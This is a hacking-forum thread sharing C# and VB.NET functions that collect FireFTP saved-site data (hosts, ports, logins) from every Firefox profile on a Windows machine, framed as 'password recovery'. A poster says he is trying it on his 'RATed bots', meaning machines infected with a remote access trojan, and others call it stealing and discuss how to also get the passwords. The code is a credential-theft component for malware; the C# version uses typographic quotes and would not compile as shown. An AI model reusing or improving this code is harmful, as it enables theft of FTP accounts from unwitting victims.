Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

[C#]& [VB.NET] Recover FireFTP Passwords

C#
Code
static string FireFTP()
{
    //Coded by: Rue
    try
    {
    string APPDATA = Paths.getPath(Paths.CSIDL_APPDATA);
    string PROFILEPATH = APPDATA + “\\Mozilla\\Firefox\\Profiles\\”;
    string[] PROFILES = Directory.GetDirectories(PROFILEPATH);
    string accounts = string.Empty;

    foreach (string profile in PROFILES)
    {
    StreamReader sr = new StreamReader(profile + “\\fireFTPsites.dat”);
    accounts += sr.ReadToEnd() + “\n\n”;
    sr.Close();
    }
    return “-FIREFTP——-\n\n” + accounts + “\n—————”;
    }
    catch { return null; }
}

originally written by: RuE
------------------------------------
Full code
Code
[code]public string FireFTPRecovery()
{
    string Accounts = null;
    foreach (var Directory in My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\")) {
        Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString + "\\fireFTPsites.dat") + Environment.NewLine;
    }
    return Accounts;
}
[/code]

originally written by: Me

VB.NET

(May 1, 2010 06:15 PM)Mr Smith Wrote:  
Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

originally written by: General Dee




If You Like this tutorial,
please check out my other tutorials by clicking ==> here
PHP & .NET Contributor.
cool ill convert this l8r
cool ill post the vb.net version later on tonight
PHP & .NET Contributor.
The passwords under APPDATA + \\Mozilla\\Firefox\\Profiles\\xxx\\fireFTPsites.dat just show:
Code
password:""

Any ideas?
Can someone try this?

Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

I don't have FireFTP installed.
(May 1, 2010 06:15 PM)Mr Smith Wrote:  Can someone try this?

Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

I don't have FireFTP installed.

i hade same results at translating it.....im tring it now on my RATed bots.
PHP & .NET Contributor.
(May 1, 2010 06:15 PM)Mr Smith Wrote:  Can someone try this?

Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

I don't have FireFTP installed.

I just translated to very similar function as yours, its working perfectly (I have FireFTP installed) but password shows as:
Code
password:""

Password is saved somewhere else for sure, this is just stealing ID's and Server Names.

Example:

Code
[{account:"Account Name", host:"server.com", port:"1000", login:"user", password:""}]
So it does not steal the passwords?
it steals the passwords but saves it somewhere else so its hard to say the exact location of the password....

needs more work
PHP & .NET Contributor.
not sure about the file location, but i don't call that recovery. at least do some parsing, check if Password<>"", ect... organize your output.
(May 1, 2010 07:42 PM)codepoet Wrote:  it steals the passwords but saves it somewhere else so its hard to say the exact location of the password....

needs more work

This does not steal the password at all, because the file it is stream reading does not have a password located inside, this is incomplete. ✌
(May 1, 2010 07:48 PM)GoldStar Wrote:  not sure about the file location, but i don't call that recovery. at least do some parsing, check if Password<>"", ect... organize your output.

Exactly! I was just converting the C# code. As for the password thingy, I don't really know, one minute it is there, the next, vamoosh and its gone!
(May 1, 2010 08:19 PM)Mr Smith Wrote:  Exactly! I was just converting the C# code. As for the password thingy, I don't really know, one minute it is there, the next, vamoosh and its gone!

yep same results for me as well...
PHP & .NET Contributor.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by KullsJan 28, 2015 08:34 AM 1 73 Jan 28, 2015 08:34 AM
Last Post: Merek123
[.NET] by KullsJan 26, 2015 11:17 AM 3 105 Jan 26, 2015 11:17 AM
Last Post: $lick
[.NET] by pr0t0typ3Apr 7, 2013 09:39 PM 9 457 Apr 7, 2013 09:39 PM
Last Post: Miklo